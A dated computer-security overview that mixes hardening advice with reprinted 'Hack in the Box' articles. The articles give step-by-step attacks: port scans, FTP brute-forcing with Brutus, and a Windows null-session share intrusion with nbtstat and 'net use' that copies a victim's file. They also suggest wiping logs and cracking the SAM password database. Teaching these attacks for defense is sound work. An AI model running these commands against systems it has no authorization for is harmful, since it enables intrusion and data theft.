Overview of Computer Security Part I

Overview of Computer

Security Issues:

Please note: all exploits, intrusion attempts, and network surveillance outlined in this document were executed against target systems controlled by the author and with full authorization. Reproduction of these exploit attempts will fail against IP addresses and systems outlined in this document, and more importantly would constitute a violation of international and US Federal laws. Any unauthorized attempt to gain access to any of the systems outlined in this document will be vigorously pursued by the author to the full extent of electronic and legal means. Be advised that all systems used as examples in this document are subject to full time intrusion detection system and aggressive automated intrusion response.

External Threats:

Remote Exploits:

Remote exploits are attacks by a foreign computer on a local server which lead to unauthorized access of a local machine. These types of exploits are commonly buffer overflow attacks or other compromises of weak, insecure, or unpatched services. It is important to note that a remote exploit follows several steps and an attacker can be tracked or even stopped at many of these stages. These steps include:

1.   Discovery

  a.      Operating System

  b.      Administrative configuration

  c.      Services

  2.  Access

3.  Exploits

The first step in a remote exploit is usually discovery. This is the information gathering stage. In order to exploit a machine, it must first be known what type of machine it is (operating system) and what services are available for exploit. Many Windows 95 and 98 machines are completely immune to remote exploits, simply because these operating systems rarely offer any services to remote computers. Server machines are usually the most vulnerable since they offer the widest range of services to remote hosts (telnet, ftp, web service, etc.)

Remember: An increase in remote services constitutes an increase in a computer’s vulnerability. Therefore, a system administrator should minimize the number of remote services running, particularly unnecessary services.

Discovery:

C:\>ftp madirish.org

Connected to madirish.org.

220 SPHYNX Microsoft FTP Service (Version 5.0).

User (madirish.org:(none)):

This ftp session immediately identifies the operating system in the banner ‘220 SPHYNX Microsoft FTP Service (Version 5.0).’ While many operating systems do not offer this depth of information (operating system, service, and version), often the service is enough to estimate the operating system (wu-ftp is a unix based ftp server, etc.).

In order to automate this discovery many attackers will use a port scanning tool. The two most popular port scanners are Nessus (www.nessus.org) and nmap (www.nmap.org). Both tools are lightweight and fast, and available for free download. These tools will allow a remote attacker to scan a local server in seconds and map the operating system as well. Here is a sample output from nmap:

[root@madirish /root]# nmap -sS -O madirish.org

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )

Interesting ports on ip-216-25-200-135.covad.dsl.fcc.net (216.25.200.135):

(The 1513 ports scanned but not shown below are in state: closed)

Port State Service

21/tcp open ftp

25/tcp open smtp

80/tcp open http

135/tcp open loc-srv

139/tcp open netbios-ssn

443/tcp open https

445/tcp open microsoft-ds

1025/tcp open listen

1030/tcp open iad1

1433/tcp open ms-sql-s

TCP Sequence Prediction: Class=random positive increments

Difficulty=11755 (Worthy challenge)

Remote operating system guess: Windows 2000 RC1 through final release

Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds

As you can see nmap quickly creates a specific, simple outline of the target computer. The next step in a remote exploit is to determine the specific service offered by each open port and search for exploits that are available.

Access:<

Two types of attacks are common at this point. One is to attempt an exploit of one of the services, the other common route is to attempt to leverage poor configuration of the server by its administrator. We’ll focus on an example of the latter attack first.

Now that we know the target is running Microsoft Windows 2000, and has a MS SQL server running, as an attacker it is logical to check to see if the administrator has enabled a password for the system administrator (‘sa’) account on the SQL Server (default install leaves the password blank). To do this we must use a windows platform. Setting up an ODBC (Open Database Connectivity) connection:

We can use this connection to check whether or not the default installation has been changed to offer more security. This type of attack involves a fairly intimate knowledge of server set up and configuration, although news of blank password default installations pass around the underground fairly quickly.

Remember, when a hacker discovers a vulnerable machine, the information is typically passed to other hackers as well.

A potential attacker could also check to see if the server is already compromised at this point. The IIS Unicode scripts directory traversal exploit (popularized by worms like Code Red and NIMDA) leaves a backdoor in the scripts directory of the target machine called root.exe. Simply using a browser to check for the existence of this backdoor is trivial and gives full root access if found:

Protection:

Protecting against both of these types of remote exploits involves not only a thorough knowledge of the server operating system AND services, but also periodic scanning for known bugs and backdoors that might be left on the machine (antivirus tools are somewhat, but not completely effective in this task).

Assuming that no configuration errors or previously installed backdoors are installed an attacker will usually turn to remote exploits. Often buffer overflows, these exploits are compiled and run remotely against services with known exploits. It is essential that services be patched and updated as soon as new exploits are discovered to avoid this type of attack. Exploitable services and patches are commonly announced on the BugTraq mailing list (www.securityfocus.com) and at least one system administrator should constantly monitor this list for news of exploits affecting your services. The official websites for services you run should also have a list of patches and updates available. NEVER use an outdated service. Older operating systems and services are the most vulnerable to these types of exploits.

Remember: Always keep your system up to date with patches and updates.

It is also essential, since this type of threat is common, to not run services that are not used or that administrators don’t understand since these services make a system more vulnerable to attack.

Remote exploits are rare but powerful and many times when a new exploit is discovered (say a wu-ftp exploit) attackers will scan the internet for servers running that particular service, rather than looking for that service specifically on your system. However, armed with a complete nmap scan, a potential attacker can search the internet for known exploits for the services your machine is running. Often attackers will start by searching established databases on sites like Security Focus (www.securityfocus.com) or Packet Storm (www.packetstormsecurity.org) for exploits. This is usually only a starting place but occasionally will reveal a remote root compromise that is all an attacker needs.

Once an attacker has acquired whatever tool he may need and runs the exploit, you may find telltale signs of the attack in your logs (assuming an attacker doesn’t delete the log files) but at this point a sysadmins job will become more like one of a coroner than a policeman. It is important for systems administrators to routinely search for exploits to services offered on their machines and test these exploits on a sandbox machine (NEVER test exploits directly against a production machine as they are likely to crash the target, the local machine, or both) to see if your system is vulnerable. If you find your system to be vulnerable you need to patch the system if possible, or shut it down and look for an alternative if no patch to protect against the exploit can be found.

Access:

Once an attacker runs a remote exploit and gains access to your machine they will likely follow a series of steps. First they will attempt (if they have not already accomplished) to gain root or administrator status. This will allow the attacker unfettered control of the machine. The next normal step for an attack is to download a root kit. This is a series of tools compiled by the attacker to allow them to accomplish any number of tasks on the target machine. Monitoring outbound connections from a server for traffic such as ftp or ssh may alert you to a compromise and root kit download. Once this task is accomplished attackers will usually look for some way to erase relevant log files of their activities. Logs are usually located in var/log on a *nix machine or winnt/system32 on a Windows machine.

Once an attacker gains access to log files it will be very difficult to track their behavior and expel the intruder or fix any damage. The best solution for protecting your logs is to use a syslogd or similar server to store your logs on a computer that is well protected and used ONLY to collect log files. This insures a higher level of layered defense around your log files and lets you trust the log files from a computer that has been compromised. Root kits will often contain tools to help the attacker to expand the range of their attack and level of control. Trojaned programs may allow the attacker to plant a backdoor into the computer so that even if discovered and removed they will be able to regain access. Trojan programs may also be used to replace normal log in mechanisms to record usernames and passwords for the attacker. Since it is common for users to use the same username and password on several separate systems the attacker may be able to use local usernames and passwords to attack a remote computer.

Remember: To increase layered security, assign different passwords for different machines.

Attackers will often also set up a sniffer on the compromised server. Sniffers are programs that allow the attacker to utilize the promiscuous mode of an Ethernet card. Using this diagnostic mode an attacker can force an Ethernet card to trap traffic from the LAN, including any unencrypted usernames and passwords that may be transmitted to or from nearby computers. Sniffing attacks are extremely effective and are probably the most damaging type of attack due to the range of information that becomes available to an attacker.

Viruses

Viruses are a common threat that mainly affects client computers and regular network users. Viruses come in many shapes and sizes, but usually share a common purpose. A virus is designed to infect an innocuous looking file or system tool so that when that resource is used it initiates activity the resource wasn’t designed for. Macro viruses have become some of the most common on the internet due to the proliferation of Windows and Microsoft Office applications. Macro viruses are coded in Visual Basic – the Microsoft scripting language – and can be attached to almost any Microsoft document, spreadsheet, or e-mail invisibly. Macro viruses can expose almost any part of the Microsoft system to attack. The best way to protect against viruses is to follow a few simple steps:

1. Install the latest version of anti-virus software of your choice: Norton Anti-Virus or McAfee are the industry leaders.
2. Be sure to download updates regularly to protect against new viruses and make sure to scan systems for viruses regularly (at least once a week)
3. Several system wide tools such as Symantec’s offer LAN wide solutions.
4. Educate users as to e-mail security. Make sure all e-mail settings are set to NOT run active X, disable scripts, and if possible set anti-virus software to scan incoming e-mail.
5. Make sure all LAN users know to NEVER open any attachment that is in any way questionable. If users receive an unexpected attachment from someone they know they should call and confirm the authenticity of the attachment before opening it. Any suspect e-mail should be quarantined and inspected by a system administrator and verified before opening. Often a trained programmer who opens an attachment using a simple text editor such as Notepad can find telltale signs of virus laden e-mail.

Trojan Horses:

As described above, Trojan Horses are programs that are modified to alter their use. This term has also come to describe any number of remote administration tools. Remote Trojans are most commonly found on Windows platforms. Common remote Trojans include Sub Sever, Back Orifice, and Net Spy. A good anti-virus checker should be able to find most remote Trojans on a Windows client or server assuming the virus updates are current and checks are run often. The installation of a remote Trojan is a fairly complex task involving a computer administrator (any user on a Windows 9x/Me system, or the ‘administrator’ or user with equivalent privileges on a Win NT/2000 system) installing the executable and setting it to run. In order to Trojan a Windows machine remotely an attacker must exploit a target NT system and gain administrator access, or trick a user or system administrator into installing the Trojan themselves. Often Trojans are disguised as attachments from legitimate senders (sometimes this e-mail is ‘spoofed’ so that it appears to have originated from another sender) or as pornography or gimmicky game downloads. Once a remote Trojan is installed it will offer complete administrator access to the target machine and attackers will usually follows steps similar to those described above under ‘Remote Exploits.’

Trojaning Unix based systems is a much more complex task as it usually involves a fairly good knowledge of programming and/or operating systems. Trojaned Unix software will usually log usernames and passwords or provide a backdoor into a server that may be invisible to normal administrators and is usually provided as extra insurance for an attacker. The best way to protect against Trojans on a Unix type system (Unix, Linux, BSD, HP-Unix, AIX, etc.) is to use some sort of a checksum feature to track changes in system files. Checksum features will check for any changes in file sizes, makeup, or accesses. A sophisticated newtowrk administrator can use a checksum to differentiate normal system usage from attacks. Tripwire is a freely available tool that is commonly used for this purpose. Tripwire can monitor system files and notify administrators if anything unusual should happen (such as changes noted in the telnet program, login program, etc.). Tripwire is available for Linux for free, and can be downloaded at www.tripwire.org. A Trojaned server is difficult to recover because the integrity of back ups may be called into question.

Internal Security Threats:

Default Installs:

As noted above in ‘Remote Exploits’ default installs can be extremely dangerous. Default usernames and passwords or lack of any password protection is common on many default installations, from router hardware to server software. It is important that whenever a new component is added to the network that the documentation be checked thoroughly to look for configuration changes that need to be made for security.

Many times changes from a default install for security will involve more than simply adding or changing a password. Many default installations fail to utilize available tools for improving security. For example, Microsoft NT/2000 systems have capabilities for extended security logging that are not turned on by default. It is important to review ALL documentation for products to determine if default configurations need to be changed or improved.

One of the easiest routes for attacking a remote machine is to leverage default installation configurations. Due to the extent of security threat posed by default installations it is important to set up a machine and patch or modify that machine OFFLINE. Installing the operating system and software and leaving the machine plugged into a live network connection opens that machine to attack every second between the install completion and configuration changes. The HoneyNet Project (www.honeynet.org) has reported one of its servers survived only 15 minutes with a default installation from the time it was plugged in to a full system compromise. With the level of scanning occurring regularly on the internet it is critical that machines be fully prepared before they are connected to the internet. Not only should a complete install and modification of default configurations be complete before a machine is connected to the network, but a full ‘hardening’ should be done to the machine. Hardening a machine involves turning off unnecessary services, enabling additional logging and security precautions and countermeasures.

It is often useful for system configuration and hardening to have a “sandbox” network available for sysadmins. A sandbox is an offline network with reserved IP addresses that administrators can use for setup, testing, and configuration. In addition to using a sandbox administrators should be sure to keep all downloaded patches on removable media, such as compact disks. This way when a new machine is configured it need not be plugged into a live connection in order to install patches and updates.

Weak Passwords:

Weak passwords open a network to a host of problems. Easily guessed passwords can be exploited by attackers ranging from passersby who have access to a local machine, to remote parties. Passwords should never be written down or placed close to the computer or in obvious places in or around a computer. In addition to easily guessed passwords, weak passwords are extremely susceptible to password guessing attacks. Password guessing attacks, or brute forcing attacks, are easy to accomplish and provide a wealth of information to an attacker. Usually a users machine password is the users e-mail password, and sometime the users password to remote machines or services. System administrators should regularly review user passwords, or attempt password cracking against user passwords. This will ensure that weak passwords are weeded out and helps increase overall network security. Some general rules for choosing good passwords (these rules should be passed along to users) include:

• Make sure the password is not your user name/login name
• Never use a dictionary word or a person's name
• Don't use leet speak (substituting numbers for letters with similar appearances(3 for 'E', 5 for 's', etc.)
• Never use a password that can be associated with you personally (a birthdate, social security number, pet's name, or mother's maiden name)
• Make sure you password is at LEAST 8 characters in length and includes upper case and lower case letters, numbers and special symbols such as asterisks and exclamation points
• Change your password every month or so
• DO NOT use the same password for more than one account (that way if one password is broken, your other passwords will be safe)
• NEVER send a password over unencrypted e-mail

A good way to choose a password is to pick two simple items that you can easily remember and separate them by your birth year, then follow or precede your password with a special character. For example:

Mets72Bush!

Is a relatively strong password and fairly easy to remember. Ideally a strong password resembles:

Wrt5y!7U?

Brute Force Attacks:

In order to understand the necessity of strong passwords it is important to understand what a brute force attack is, how it works, and steps to take to prevent brute force attacks. The following article was written by Madirish for the hacker/cracker publication ‘Hack in the Box’ (www.hackinthebox.org):

--Begin Snip—

This article is designed to demonstrate how to accomplish a brute force attack, and what it looks like from the receiving end. Brute force means password guessing. This can only feasibly be accomplished with the aid of good target reconnaissance and some automated programs. While it is very easy to write your own brute force program, there are several available for free online. I find Brutus to be one of the best brute force tools. You can find it at Hoobie.net (www.hoobie.net). I’ve also placed Brutus in the ‘Downloads’ section of this site (www.madirish.org) for easy reference.

The first step in a brute force attack (or for that matter, any attack) is target enumeration. This is the process by which we find where and how a target is vulnerable. I use NMAP (available only for Linux at the time of this writing :( )for almost all of my initial cursory scans of networks. Lets use the target of my own desktop server and run an NMAP scan to find out what we have to play with. The output from my scan follows:

nmap -sS -O 216.25.200.135

Starting nmap V. 2.30BETA17 by fyodor@insecure.org (
www.insecure.org/nmap/ )
Interesting ports on ip-216-25-200-135.covad.dsl.fcc.net
(216.25.200.135):

Port       State       Service

21/tcp     open        ftp                     

25/tcp     open        smtp                    

80/tcp     open        http                    

135/tcp    open        loc-srv                 

139/tcp    open        netbios-ssn             

443/tcp    open        https                   

445/tcp    open        microsoft-ds            

1025/tcp   open        listen                  

1026/tcp   open        nterm                   

1031/tcp   open        iad2  

TCP Sequence Prediction: Class=random positive increments
Difficulty=7635 (Worthy challenge)
Remote operating system guess: Windows 2000 RC1 through final release

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second

Ok, so we’ve got several services to choose from on this target. The first one that catches my eye is FTP. We can use this to brute force passwords, and we can use smtp to check for user accounts. Now the fun begins. I’ll first try ftp to find if anonymous ftp is enabled (which could potentially make my task a lot easier, there are rare computers with completely open upload/download ftp servers without strong restrictions (allowing you to upload and download to the web root folder)).

C:\>ftp 216.25.200.135
Connected to 216.25.200.135.
220 WIN2KSERVER Microsoft FTP Service (Version 5.0).
User (216.25.200.135:(none)): anonymous
331 Password required for anonymous.
Password:foo@nowhere.com
530 User anonymous cannot log in.
Login failed.
ftp> quit
221 Fuck off!

It seems that anonymous ftp isn’t enabled, and not only that the server is quite rude when I leave. The server did give some confirmation that it is running Windows NT, or in this case Windows 2000 (dead giveaway in the machine’s name ‘WIN2KSERVER’). We’ll try the SMTP server now to check for user names.

220 WIN2KSERVER Microsoft ESMTP MAIL Service, Version: 5.0.2195.2966 ready at F ri, 22 Jun 2001 09:08:49 –0400
vrfy smellydell
252 2.1.5 Cannot VRFY user, but will take message for smellydell@win2kserver
vrfy administrator
252 2.1.5 Cannot VRFY user, but will take message for administrator@win2kserver

well, there’s no use in verifying anyone on this server as it seems that the server will give the same message for real and bogus accounts (all NT servers have an ‘administrator’ account, in much the same way that *nix have root accounts). The ‘expn’ command didn’t work at all on this server (replied with ‘unknown command’ at expn postmaster). So at this point I’m S.O.L., but some machines will give a very good list of users and or active accounts using the smtp server.

Ok, so I’m off to brute forcing. The first thing I do is fire up Brutus.

Next I’ll have to modify my users list (found in users.txt in the Brutus directory) to include users I suspect to be on an NT server. NT always has a ‘Guest’ account and an ‘Administrator’ account. I’ll add a few more guesses. In the end my users list looks like this:

The next step is to fire Brutus at the target, when configured for an ftp attack, Brutus appears thus:

You’ll notice I set the timeout higher than the default. Brutus nicely circumvents connection limits by creating new connections for every request. This is useful because some servers will cut your connection after 3 bad guesses at passwords. Brutus uses the targets ability to take multiple ftp requests and creates a new request for every guess (I have set the program to make 10 requests simultaneously). The timeout is the lag time that the program will allow before it makes a new request. If you don’t set this high enough you are likely to flood the target and either crash its server, or simply hang Brutus. You can use a really high connection and low timeout rate as an effective DoS attack that will knock weak servers completely off the net.

So now I’ll fire Brutus at the target. I’m using the default password list that comes with the program, but there are several larger, and more complete word lists available online. What Brutus will do is try every username listed in the users file with every password in the word list (and can even generate its own random word list to include all combinations of letters, characters, and numbers). Remember that most passwords are 8 characters long, so its usually not worthwhile to try and brute force very short passwords. Here’s what Brutus looks like in action:

Now, the downside to brute forcing is that it is extremely noisy, and even the worst sysadmin should notice it. During my demonstration my server immediately popped an alert that the system log was full. A quick examination of the system log reveals the problem immediately:

All those warnings you see are bad FTP login attempts. A double click on the alert shows:

It isn’t hard to figure out exactly what is going on. Even more disturbing is the log file left behind. Here’s a snippit:

13:30:18 216.25.200.135 [5]USER admin 331
13:30:18 216.25.200.135 [6]USER admin 331
13:30:18 216.25.200.135 [7]USER admin 331
13:30:18 216.25.200.135 [8]USER admin 331
13:30:18 216.25.200.135 [9]USER admin 331
13:30:18 216.25.200.135 [10]USER admin 331
13:30:18 216.25.200.135 [11]USER admin 331
13:30:18 216.25.200.135 [12]USER admin 331
13:30:18 216.25.200.135 [13]USER admin 331
13:30:18 216.25.200.135 [4]PASS - 530
13:30:18 216.25.200.135 [14]USER admin 331
13:30:18 216.25.200.135 [5]PASS - 530
13:30:18 216.25.200.135 [6]PASS - 530
13:30:18 216.25.200.135 [7]PASS - 530
13:30:18 216.25.200.135 [8]PASS - 530
13:30:18 216.25.200.135 [9]PASS - 530
13:30:18 216.25.200.135 [10]PASS - 530
13:30:18 216.25.200.135 [11]PASS - 530
13:30:18 216.25.200.135 [15]USER admin 331
13:30:18 216.25.200.135 [16]USER admin 331

Not only do you notice all the tries for the same account, but you can tell it is an automated attempt to brute force because the times of the attempts are so close together (60 or so attempts a second). Even more damning is that my IP address is logged all over the huge log file. Its not hard to spot me or figure out what I’m attempting to do. Be warned if you attempt a brute force that you are probably going to get notice.

Now, I happened to be successful on this attempt and got on username and password. The results are displayed in Brutus under the ‘Positive Authentication Results’ window:

You can see the username ‘user’ and password ‘charles’ worked on the server. Lets try them out:

C:\>ftp 216.25.200.135
Connected to 216.25.200.135.
220 WIN2KSERVER Microsoft FTP Service (Version 5.0).
User (216.25.200.135:(none)): user
331 Password required for user.
Password: charles
230-Welcome
230 User user logged in.
ftp>

Boom, and its just that easy. Now that I’m in my first step should be to attempt to clean up the traces of my attack (i.e. the log files and system event logs). Accomplishing this task takes more explanation than I have time for here, but hopefully you get the idea.

If nothing else, this short article should show you the value of good passwords. If I hadn’t set up the account ‘user’ with such a crappy password this attack most likely would have been unsuccessful. See my article on passwords for a good run down of how to pick a good password to keep your accounts safe from brute force attempts.

--End Snip—

Preventing against password guessing attacks involves not only strong password protection, but also possibly limiting the number of bad guesses a user can make in a given time. Although this may enable an attacker to log a legitimate user out of an account, it can also warn administrators of a possible attack. Many services can limit the number of bad attempts from a user and restrict access based on bad logins.

Remember: Never set permanent lock out on bad login attempts in case someone tries to brute force the administrator or root account.

Once a brute force attack is detected be sure to block the attacker permanently from all services. Add the attacker’s address to your firewall. Alert the upstream ISP and consider blocking the ISP. This way even if a password was cracked the attacker won’t be able to leverage their new access.

Directory Sharing:

Directory sharing is common on a Windows based LAN and can lead to a host of security problems if not configured properly. The best way to protect against remote exploits against local NetBIOS shares is to configure your firewall to prohibit any incoming or outgoing connections to the netbios shares ports (135-139). This will allow LAN users to share files, but remove remote access to these shares. In general whenever a file or folder is shared it should be password protected. Sharing vulnerabilities are easy to spot using a number of tools to scan your local network for open shares. The simplest one is a batch file. Again, the following articles by Madirish for ‘Hack in the Box’ demonstrate the ease with which open Windows shares can be enumerated and the process to automate scanning for those shares:

--Begin Snip—

Article One

This article is intended to show the importance of: a) choose a good logon password, and b) to password protect any shares you are using. Let us assume that through a network scan I find that the computer at 216.25.200.132 is a windows machine. I want to check and see if that machine is sharing anything, and if I can get the shares. Note: The IP addresses and names have been CHANGED to protect the vulnerable, lines in red are my comments, the rest is actual output from my session:

C:\>nbtstat -A 215.25.200.152

Local Area Connection 2:

Node IpAddress: [0.0.0.0] Scope Id: []

    Host not found.

Local Area Connection:

Node IpAddress: [215.25.200.135] Scope Id: []

           NetBIOS Remote Machine Name Table

       Name               Type         Status

    ---------------------------------------------

    NCARTER        <00>  UNIQUE      Registered

    SVNET          <00>  GROUP       Registered

    NCARTER        <20>  UNIQUE      Registered

    SVNET          <1E>  GROUP       Registered

    NCARTER        <03>  UNIQUE      Registered

    NCARTER        <1F>  UNIQUE      Registered

    MAC Address = 00-00-E8-9A-9E-12

\Device\NetBT_Tcpip_{7CD42A51-8B2F-4A5F-A42E-1C76F336D3DE}:

Node IpAddress: [215.25.200.140] Scope Id: []

           NetBIOS Remote Machine Name Table

       Name               Type         Status

    ---------------------------------------------

    NCARTER        <00>  UNIQUE      Registered

    SVNET          <00>  GROUP       Registered

    NCARTER        <20>  UNIQUE      Registered

    SVNET          <1E>  GROUP       Registered

    NCARTER        <03>  UNIQUE      Registered

    NCARTER        <1F>  UNIQUE      Registered

    MAC Address = 00-00-E8-9A-9E-12

Using this command I have found that the username on this computer is NCARTER, and the workgroup is SVNET. Now the fun begins:

C:\>net use \\215.25.200.152\ipc$ /user:ncarter

Local name

Remote name       \\215.25.200.152\ipc$

Resource type     IPC

Status            OK

# Opens           0

# Connections     1

The command completed successfully.

Ok, this is a bit simulated, usually you'll have to enter a password, but I got lucky here and there was no password in effect. If there had been a password you could issue 'net use \\215.25.200.152\ipc$ /user:ncarter PASSWORD' where PASSWORD = your guess as to their password. Many systems will lock you out after 3 bad attempts, but you'd be surprised how many won't. What you're doing is trying to establish a null share connection (ipc$).

C:\>net view \\215.25.200.152

Shared resources at \\215.25.200.152

Share name   Type         Used as  Comment

-------------------------------------------------------------------------------

HP COLOR     Print

MUSIC        Disk         

PUBLIC       Disk         

TOSEND       Disk

The command completed successfully.

Ok, now we know the names of the shares on this computer. Lets try to connect to the 'TOSEND' share:

C:\>net use u: \\215.25.200.152\tosend

The password is invalid for \\215.25.200.152\tosend.

Type the password for \\215.25.200.152\tosend:

System error 5 has occurred.

Access is denied.

No dice, its password protected, lets try the others:

C:\>net use y: \\215.25.200.152\public

The command completed successfully.

Bingo, we're in. Notice the y: in the 'net use' command? That’s the local drive name that we're going to use as a link to NCARTER.

C:\>net view \\215.25.200.152

Shared resources at \\215.25.200.152

Share name   Type         Used as  Comment

-------------------------------------------------------------------------------

HP COLOR     Print

MUSIC        Disk        

PUBLIC       Disk         Y:

TOSEND       Disk

The command completed successfully.

C:\>dir y:

 Volume in drive Y is HP_PAVILION

 Volume Serial Number is 1C68-0F0A

 Directory of Y:

04/26/2000  12:56p      <DIR>          .

04/26/2000  12:56p      <DIR>          ..

04/26/2000  11:57a                 331 Shortcut to Sawmill5.0.lnk

04/26/2000  12:58p              29,696 hits.doc

04/26/2000  01:33p             978,918 wtapi.pdf

04/26/2000  01:44p              19,456 USER TIMEOUT.doc

05/04/2000  02:34p              23,552 Letterhead.dot

11/15/2000  06:37p              20,480 Contact list.doc

07/24/2000  01:19p              87,040 Elegant Fax.doc

09/18/2000  12:38p           7,710,412 KingofPrussia000918.pdf

06/26/2000  04:28p      <DIR>          HP Drivers

09/18/2000  05:04p              15,906 cover.jpg

06/22/2000  12:33p      <DIR>          halflife update

06/02/2000  02:05p      <DIR>          School 

09/06/2000  02:40p      <DIR>          abae

01/29/2000  05:33p      <DIR>          Content

04/27/2000  02:21p      <DIR>          photos

05/23/2000  01:22p      <DIR>          delete_button

03/01/2001  02:12p      <DIR>          Firewall Docs

06/20/2000  03:28p      <DIR>          Install

06/27/2000  10:26a      <DIR>          HomePage

07/12/2000  02:12p                 463 Team Fortress Classic Manual.lnk

09/18/2000  10:54a          16,864,741 wtetrial.exe

10/26/2000  04:39p      <DIR>          Visor programs

11/29/2000  03:39p              26,112 TCS VS letter.doc

              12 File(s)     25,777,107 bytes

              13 Dir(s)   5,406,457,856 bytes free

C:\>copy y:\hits.doc

        1 file(s) copied.

C:\>dir hits*

 Volume in drive C has no label.

 Volume Serial Number is 94B4-57C0

 Directory of C:

04/26/2000  12:58p              29,696 hits.doc

               1 File(s)         29,696 bytes

               0 Dir(s)   2,796,068,864 bytes free

The rest of what I did should be pretty obvious. I stole a copy of hits.doc and moved it to my local C: drive. Notice how easy all of this was?!? If you're really lucky you'll get an NT machine and be able to copy the SAM database file and crack it to get a list of all the users AND their passwords. Enjoy.